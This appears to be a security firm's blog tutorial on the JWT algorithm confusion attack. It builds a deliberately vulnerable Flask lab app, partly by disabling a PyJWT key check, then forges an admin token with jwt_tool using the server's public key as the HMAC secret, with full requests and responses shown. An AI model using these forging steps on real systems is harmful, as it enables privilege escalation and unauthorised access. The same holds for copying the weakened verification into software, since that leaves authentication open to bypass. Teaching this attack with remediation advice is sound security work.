Insights

JSON Web Tokens – Algorithm Confusion Attack

Author:

Dan Dinculeana

JWT stands for JSON Web Token, and it is an open standard (RFC 7519) that is used to securely transfer information between two parties as a JSON object. It is commonly used for authentication and authorization in stateless environments, such as, token-based applications and RESTful Web services like APIs.

JWTs are terse, they’re URL-safe, and they can be digitally signed with a secret (using an HMAC algorithm) or a public/private key pair (using RSA or ECDSA). They can be used to authenticate a user and ensure data integrity without authorizing a database request for every single request.

The JWT Algorithm Confusion (also known as key confusion) vulnerability [1] [2] occurs when a server supports both “RS256” (asymmetric) and “HS256” (symmetric) algorithms but uses the same key (public key) for verifying tokens created with either algorithm. The token validation logic must be written in such a way that for both the asymmetric and symmetric algorithms, the same public key is used for verifying the token.

Since the public key could be known to an external attacker, forging tokens and using the public key value as the HMAC secret (HS256) is something that could be exploited if the backend functionality supports this and does not implement a sufficient validation mechanism or different flows for each algorithm used.

Setup

In order to demonstrate how the vulnerability could occur and be exploited by an attacker, a simple application was created. The application was developed using Python (3.11.1)/Flask, SQLite as the database, and PyJWT (2.0.0) as the JWT library used to manage tokens [4].

The application allowed self-registration, login, access to a profile page to display the current user’s information and an administrative page, where privileged users can view the list of users, make modifications to existing users and create new users – either standard users or administrators.

Web Application Development

We won’t go into too much detail for all the sections of the application’s source code; however, sections that were deemed important or needed to follow along with the exploitation are highlighted below.

To support the creation of a “Users” table in the database, the following “User” class was added, defining an “id” (unique id for each user), an “email” variable to store the username, the “password_hash” to store the hashed value of passwords and the “role” variable indicating each user’s permissions:

JSON Web Tokens - Algorithm Confusion Attack - img1_userClass

For the registration page, the following form was created, which would take a user’s email and password:

signup.html

JSON Web Tokens - Algorithm Confusion Attack - img2_signupHTML

Once the user submits the credentials, the POST request triggers the signup function below. It first checks if a user’s email already exists in the database. If the email is valid, a GUID is created, the password is hashed and a standard role value are passed together to the user creation function which returns a “user” object and then inserts this into the database:

JSON Web Tokens – Algorithm Confusion Attack -img3_signupFunction

The login function shown below, returns a token to the user if the user exists and the password submitted was correct:

JSON Web Tokens – Algorithm Confusion Attack - img4_loginFunction

As can be seen above, a “createJWTpayload” function is called and used to obtain a token, by submitting the GUID, email and role of the user. This function is as follows, and defines the structure of the payload section with the details previously passed by the login function:

JSON Web Tokens – Algorithm Confusion Attack - img5_createJWTFunction

This in turn calls the “createToken” function, and sends the payload section of the token. The “createToken” is responsible for creating the header and signature for the new token:

JSON Web Tokens – Algorithm Confusion Attack - img6_createTokenFunction

As can be seen, the algorithm used for signature generation server-side was hard-coded to “RS256”. The “PRIVKEY” variable contains the private key used to sign the token.

When accessing an endpoint such as the “/profile” page, the function would first check if a session cookie is assigned and then if the cookie contains a valid JWT token:

JSON Web Tokens – Algorithm Confusion Attack - img7_profileFunction

For authenticated pages, the application checks if a valid token had been submitted in the cookie. It sends the “session” cookie value to the “validateToken” function to verify if the token is valid:

JSON Web Tokens – Algorithm Confusion Attack - img8_validateTokenFunction

This defines the algorithms that can be used (RS265 or HS256), however another way the function could have been written was to use “jwt.algorithms.get_default_algorithms()” function which retrieves an array of all the available algorithms [3].

Because the signature algorithm is not explicitly set to “RS256” only, this allows a token signed with the “HS256” algorithm to be decoded. Additionally, the secret above “PUBKEY” is set to the public key in the code, as it was expected that the submitted token was signed using a private key (which only the server should know). Therefore, signing and verification of a token can be done using the public key value. This in turn allows an attacker with access to the public key to forge tokens.

It is assumed that an attacker is able to obtain the public key through different means. We will cover this in a bit more detail in the next section.

Another aspect is that in our case, the “jwt.decode()” function needs to be modified to allow the vulnerability to be exploitable and requires changing the PyJWT source-code slightly, so that attempting to decode a token signed with “HS256” using the public key does not raise an error. Currently, if a JWT signed with a symmetric algorithm (“HS256”) is sent, the server would attempt to decode it resulting in the PyJWT function, raising the following exception.

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

In order to avoid this, commenting out lines 183 to 187 from “jwt/algorithms.py” was needed:

#        if any(string_value in key for string_value in invalid_strings):
#            raise InvalidKeyError(
#                "The specified key is an asymmetric key or x509 certificate and"
#                " should not be used as an HMAC secret."
#            )

In practice, the vulnerability can occur due to insecure development practices, using multiple algorithms coupled with the same validation logic, which could be due to legacy reasons or using outdated libraries [3] that do not implement sufficient or strict validation on algorithms or keys used.

The last endpoint to discuss is “/admin” which is an authenticated endpoint that will check if the submitted token contains the “admin” role before allowing access. This page returns the list of users created on the application and allows the administrator to update, delete or create new users:

JSON Web Tokens – Algorithm Confusion Attack - img9_adminFunction

Exploitation

With this basic functionality set up, we can begin testing the JWT generation and validation functions [5].

As a main focus of this, we will attempt to gain access to the “/admin” endpoint by forging a token. First, let’s inspect a token returned by the application after a successful login using jwt.io:

JSON Web Tokens - Algorithm Confusion Attack - img10

The application uses the “RS256” algorithm to sign and verify tokens, which means it uses the private key to produce the signature and the public key to verify them. It can also be seen that the self-registered account has the “standard” role assigned within the token payload.

Before we can attempt to forge tokens, we first need to obtain the public key. To achieve this, there are several options to try, and this will differ from application to application.

In some cases, an endpoint might be exposed externally so that legitimate clients can obtain the public key and verify tokens generated by an Identity Provider (IdP). Typically, this is as a JSON Web Key “JWK” object located within the “/.well-known/jwks.json” or “/jwks.json” endpoints. As an example, this was hosted on the same application, however in practice this may be on a different domain entirely:

GET /.well-known/jwks.json HTTP/1.1
Host: localhost:5001
[...]
┈┈┈┈┈┈┈┈┈┈┈┈┈⮝Request┈┈┈┈┈┈┈┈┈┈┈┈┈⮟Response┈┈┈┈┈┈┈┈┈┈┈┈┈
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.1
Date: Mon, 19 May 2025 11:58:06 GMT
Content-Type: application/json
Content-Length: 374
Connection: close

{"e":"AQAB","kty":"RSA","n":"hrDjANFjebp89lL1BwDEGg1VseX9lgss9f8hnjE_-lQ2J_u1uGnca8qcxm-0_xpTlGuk_obEJt-yDbqKzCTDHcXXIIcCewzt65SLCyAwqSsnrXyRLJ-5Euab9gZvKPsVuJtCTe4WPBkzyUNTgNQPZPxigev_02ywJioP_oowjiVdfgyU0Jo91l5iW5eTBtMxwHC4-ynYeUR58f1A6kiRfVQKQKoobvc_ENmTTw9JzpYL_jKLK7z3G5qdg43dMCnDS-efNli_U-d_q4lF5pMOvhyeGoisb-uHcTUGHOvpbhBF_39aqRa13yxSvRTo18FUnJ68F0MwUSZnA6-De3ooXw"}

To be able to use this public key, we need to convert it to PEM format. This can be accomplished with a similar script as the following:

import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

def b64_to_int(b64u):
    # Add padding if needed and decode
    padded = b64u + '=' * (-len(b64u) % 4)
    return int.from_bytes(base64.urlsafe_b64decode(padded), 'big')

def jwk_to_pem(jwk):
    n = b64_to_int(jwk['n'])
    e = b64_to_int(jwk['e'])

    pub_numbers = rsa.RSAPublicNumbers(e, n)
    pub_key = pub_numbers.public_key(default_backend())

    pem = pub_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    return pem

def main():
    with open('jwks2.json') as f:
        jwk_data = json.load(f)

    # Handle both JWKS and single JWK formats
    if 'keys' in jwk_data:
        jwk = jwk_data['keys'][0]
    else:
        jwk = jwk_data

    if jwk.get('kty') != 'RSA':
        raise ValueError("Only RSA keys are supported.")

    pem = jwk_to_pem(jwk)
    print(pem.decode())

    with open('public_key.pem', 'wb') as f:
        f.write(pem)
if __name__ == "__main__":
    main()

In other cases, the public/private keypair from the TLS certificate of the application is re-used to sign and verify tokens. In that case, we can use openssl to grab the certificate from the server:

openssl s_client -connect localhost:5001 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem

We then export the public key, which can be done using the following openssl command:

openssl x509 -pubkey -in certificatechain.pem -noout > public_key.pem

Lastly, it may also be possible to derive the public key using 2 different tokens, as discussed in [1], [6] and [7].

To begin testing the application and seeing if exploitation is possible, a standard user “testuser@example.org” was created using the registration function. Let’s log in using the newly created account and obtain a token:

POST /login HTTP/1.1
Host: localhost:5001
[...]
email=testuser%40example.org&password=[...]
┈┈┈┈┈┈┈┈┈┈┈┈┈⮝Request┈┈┈┈┈┈┈┈┈┈┈┈┈⮟Response┈┈┈┈┈┈┈┈┈┈┈┈┈
HTTP/1.1 302 FOUND
Server: Werkzeug/3.1.3 Python/3.11.1
Date: Wed, 21 May 2025 10:43:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 203
Location: /profile
Set-Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhMzUwNGYxYy1kODE1LTQyMjgtOWJhYS1jZTkzMzc5NjgwMjAiLCJlbWFpbCI6InRlc3R1c2VyQGV4YW1wbGUub3JnIiwicm9sZSI6InN0YW5kYXJkIiwiaWF0IjoxNzQ3ODI0MTg3LCJleHAiOjE3NDc4Mjc3ODd9.Rbydsn8LTRFcq4LNbDKWisRj4wUomX8FEeB-PBiAHqWfclojSa90gQW6YrSywhn2uUxBEbxY7f4JkCq8ocZ3vaApuZBR3FHTJ0_KBPxHkXaQI-XKq9sEujFdsFwTeNIK35t0BHbY-YSfxH6GRfGqWQ8bpbEWzZmDLXow3z7nsSBJ4ZGuLiuLU9nxOMGN33uxg9SwzY9CVaMIqBi7Ru6iGkBf2QelMRY7uevOcsM85x3rW75xgInWBlGlcwgMGFZa56Qu-R53HMulOBMynb2cVIQvp93UOcAgNrS6no3YaWwXD_5SsC9WBpdxkFY_iYAbSRax6ovFoVohSAfNzLvtRw; Expires=Fri, 20 Jun 2025 10:43:07 GMT; Max-Age=2592000; Secure; HttpOnly; Path=/; SameSite=Lax
[...]

The payload of the new token decodes to the following:

{"sub":"a3504f1c-d815-4228-9baa-ce9337968020","email":"testuser@example.org","role":"standard","iat":[...]}

The token says that the account’s role is standard. The application was designed with two account roles (standard and admin). The standard user role should be able to access the profile page with this token, which only returns the current user’s information:

JSON Web Tokens – Algorithm Confusion Attack - profile

The request/response pair was as follows:

GET /profile HTTP/1.1
Host: localhost:5001
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhMzUwNGYxYy1kODE1LTQyMjgtOWJhYS1jZTkzMzc5NjgwMjAiLCJlbWFpbCI6InRlc3R1c2VyQGV4YW1wbGUub3JnIiwicm9sZSI6InN0YW5kYXJkIiwiaWF0IjoxNzQ3ODI0MTg3LCJleHAiOjE3NDc4Mjc3ODd9.Rbydsn8LTRFcq4LNbDKWisRj4wUomX8FEeB-PBiAHqWfclojSa90gQW6YrSywhn2uUxBEbxY7f4JkCq8ocZ3vaApuZBR3FHTJ0_KBPxHkXaQI-XKq9sEujFdsFwTeNIK35t0BHbY-YSfxH6GRfGqWQ8bpbEWzZmDLXow3z7nsSBJ4ZGuLiuLU9nxOMGN33uxg9SwzY9CVaMIqBi7Ru6iGkBf2QelMRY7uevOcsM85x3rW75xgInWBlGlcwgMGFZa56Qu-R53HMulOBMynb2cVIQvp93UOcAgNrS6no3YaWwXD_5SsC9WBpdxkFY_iYAbSRax6ovFoVohSAfNzLvtRw
[...]
┈┈┈┈┈┈┈┈┈┈┈┈┈⮝Request┈┈┈┈┈┈┈┈┈┈┈┈┈⮟Response┈┈┈┈┈┈┈┈┈┈┈┈┈
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.1
Date: Wed, 21 May 2025 10:43:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2219
Connection: close

[...]
  <aside class="sidebar">
    <h2>Menu</h2>
    <button>Change Password</button>
    <button>Logout</button>
  </aside>

  <main class="main">
    <div class="card">
      <h3>User Info</h3>
      <div class="info-group">
        <div class="info-label">Email:</div>
        <div class="info-value">testuser@example.org</div>
      </div>
      <div class="info-group">
        <div class="info-label">Role:</div>
        <div class="info-value">standard</div>
      </div>
    </div>

    <div class="card">
      <h3>Additional Info</h3>
      <p>You can place more details or actions here as needed.</p>
    </div>
  </main>
</body>
</html>

The “/admin” endpoint however checks what is the role of the user’s token and denies access if the value is not set to “admin”. An example attempting to access the endpoint with the “standard” role is shown below:

GET /admin HTTP/1.1
Host: localhost:5001
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhMzUwNGYxYy1kODE1LTQyMjgtOWJhYS1jZTkzMzc5NjgwMjAiLCJlbWFpbCI6InRlc3R1c2VyQGV4YW1wbGUub3JnIiwicm9sZSI6InN0YW5kYXJkIiwiaWF0IjoxNzQ3ODI0MTg3LCJleHAiOjE3NDc4Mjc3ODd9.Rbydsn8LTRFcq4LNbDKWisRj4wUomX8FEeB-PBiAHqWfclojSa90gQW6YrSywhn2uUxBEbxY7f4JkCq8ocZ3vaApuZBR3FHTJ0_KBPxHkXaQI-XKq9sEujFdsFwTeNIK35t0BHbY-YSfxH6GRfGqWQ8bpbEWzZmDLXow3z7nsSBJ4ZGuLiuLU9nxOMGN33uxg9SwzY9CVaMIqBi7Ru6iGkBf2QelMRY7uevOcsM85x3rW75xgInWBlGlcwgMGFZa56Qu-R53HMulOBMynb2cVIQvp93UOcAgNrS6no3YaWwXD_5SsC9WBpdxkFY_iYAbSRax6ovFoVohSAfNzLvtRw
[...]
┈┈┈┈┈┈┈┈┈┈┈┈┈⮝Request┈┈┈┈┈┈┈┈┈┈┈┈┈⮟Response┈┈┈┈┈┈┈┈┈┈┈┈┈
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.1.3 Python/3.11.1
Date: Wed, 21 May 2025 10:49:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 15
Connection: close

Not authorized.

Since we already obtained the public key at a previous step, let’s attempt to forge a token using jwt_tool.py [8], change the role assigned and re-sign the token with a symmetric algorithm “HS256” and using the public key (obtained at a previous step) as the key:

./jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhMzUwNGYxYy1kODE1LTQyMjgtOWJhYS1jZTkzMzc5NjgwMjAiLCJlbWFpbCI6InRlc3R1c2VyQGV4YW1wbGUub3JnIiwicm9sZSI6InN0YW5kYXJkIiwiaWF0IjoxNzQ3ODI0MTg3LCJleHAiOjE3NDc4Mjc3ODd9.Rbydsn8LTRFcq4LNbDKWisRj4wUomX8FEeB-PBiAHqWfclojSa90gQW6YrSywhn2uUxBEbxY7f4JkCq8ocZ3vaApuZBR3FHTJ0_KBPxHkXaQI-XKq9sEujFdsFwTeNIK35t0BHbY-YSfxH6GRfGqWQ8bpbEWzZmDLXow3z7nsSBJ4ZGuLiuLU9nxOMGN33uxg9SwzY9CVaMIqBi7Ru6iGkBf2QelMRY7uevOcsM85x3rW75xgInWBlGlcwgMGFZa56Qu-R53HMulOBMynb2cVIQvp93UOcAgNrS6no3YaWwXD_5SsC9WBpdxkFY_iYAbSRax6ovFoVohSAfNzLvtRw -S hs256 -k public_key.pem -I -pc role -pv admin


Original JWT:

jwttool_6f7cb3dc5a2882126c2e0d0fd28adef6 - Tampered token - HMAC Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhMzUwNGYxYy1kODE1LTQyMjgtOWJhYS1jZTkzMzc5NjgwMjAiLCJlbWFpbCI6InRlc3R1c2VyQGV4YW1wbGUub3JnIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzQ3ODI0MTg3LCJleHAiOjE3NDc4Mjc3ODd9.L1IajP_dcY1qPxofHoU3YMetbNYWsnZCuaslHPgnbP4

Before sending the forged token to the application, let’s inspect the decoded header and payload sections:

{"typ":"JWT","alg":"HS256"}.{"sub":"a3504f1c-d815-4228-9baa-ce9337968020","email":"testuser@example.org","role":"admin","iat":[...]}

The JWT signature algorithm from the header and the role parameter from the payload have been changed and we have assigned the role “admin” to our self-registered user. With this forged token, let’s submit it to the “/admin” endpoint:

GET /admin HTTP/1.1
Host: localhost:5001
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhMzUwNGYxYy1kODE1LTQyMjgtOWJhYS1jZTkzMzc5NjgwMjAiLCJlbWFpbCI6InRlc3R1c2VyQGV4YW1wbGUub3JnIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzQ3ODI0MTg3LCJleHAiOjE3NDc4Mjc3ODd9.L1IajP_dcY1qPxofHoU3YMetbNYWsnZCuaslHPgnbP4
[...]
┈┈┈┈┈┈┈┈┈┈┈┈┈⮝Request┈┈┈┈┈┈┈┈┈┈┈┈┈⮟Response┈┈┈┈┈┈┈┈┈┈┈┈┈
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.1
Date: Wed, 21 May 2025 11:00:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5841
Connection: close

<html>
 <head>   
 <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous">
 <br><title>Administration page</title>
 </head>
   <h1>&nbsp;&nbsp;Administration</h1>
   <body>
      <br/><br/><h2><b><p style="text-align: center;"><u>User list</u></p></b></h2><br><br>
      <table id="data" class="table table-bordered table-hover" style="width:75%" align="center">
          <thead class="table-dark">
           <tr>
            <th>ID</th>
            <th>GUID</th>
            <th>Username</th>
            <th>Role</th>
            <th>*</th>
            <th>*</th>
           </tr>
          </thead>
        <tbody>      
          <tr>
           <td>1</td>
           <td>2d759129-302f-4e25-bfdd-c0d87dd1817b</td>
           <td>scottlindsay@example.org</td>
           <td>standard</td>
           <td><button><a href="/edit/2d759129-302f-4e25-bfdd-c0d87dd1817b">Edit User</a></button></td>
           <td><button><a href="/delete/2d759129-302f-4e25-bfdd-c0d87dd1817b">Delete User</a></button></td>[...

The administration page has become accessible, and not only did it return sensitive user information, but it also returns the endpoints which could be used to edit, delete or even create new users:

JSON Web Tokens – Algorithm Confusion Attack - userlist

Conclusion

In this article we’ve discussed and shown that inadequate development practices or the use of outdated libraries can lead to a serious vulnerability in the validation function of JWT tokens.

If an application was designed to allow multiple signature algorithms and the same token verification logic for multiple algorithms, this could allow an attacker to forge tokens and gain access to sensitive information or functionality within the application.

Therefore, secure development practices should be followed to prevent this from occurring in your environment. Additionally, all libraries involved in token management are kept up to date and covered by robust software management policies and procedures.

Recommendations

Review business requirements and understand which functionalities are needed, such as different algorithms. If not needed, ensure that algorithms are explicitly defined. If multiple algorithms are allowed, ensure different verification logic functions are implemented for each.

Ensure that libraries handling JWT tokens are kept updated to the latest stable versions. Review internal software management and secure development procedures to ensure that these are covered.

Prefer implementing allow lists for the required algorithms rather than deny lists, to prevent vulnerabilities caused by submitting differently formatted algorithm names.

References

[1] Algorithm Confusion Attacks: https://portswigger.net/web-security/jwt/algorithm-confusion
[2] How the Algorithm Confusion attack works: https://www.vaadata.com/blog/jwt-json-web-token-vulnerabilities-common-attacks-and-security-best-practices/#how-the-algorithm-confusion-attack-works
[3] Risky algorithms in PyJWT: https://www.vicarius.io/vsociety/posts/risky-algorithms-algorithm-confusion-in-pyjwt-cve-2022-29217
[4] PyJWT: https://pyjwt.readthedocs.io/en/latest/index.html
[5] Testing JSON Web Tokens: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens
[6] rsa_sig2n: https://github.com/silentsignal/rsa_sign2n
[7] JWT Key Recover: https://github.com/FlorianPicca/JWT-Key-Recovery
[8] The JSON Web Token Toolkit v2: https://github.com/ticarpi/jwt_tool

Looking for more than just a test provider?

Get in touch with our team and find out how our tailored services can provide you with the cybersecurity confidence you need.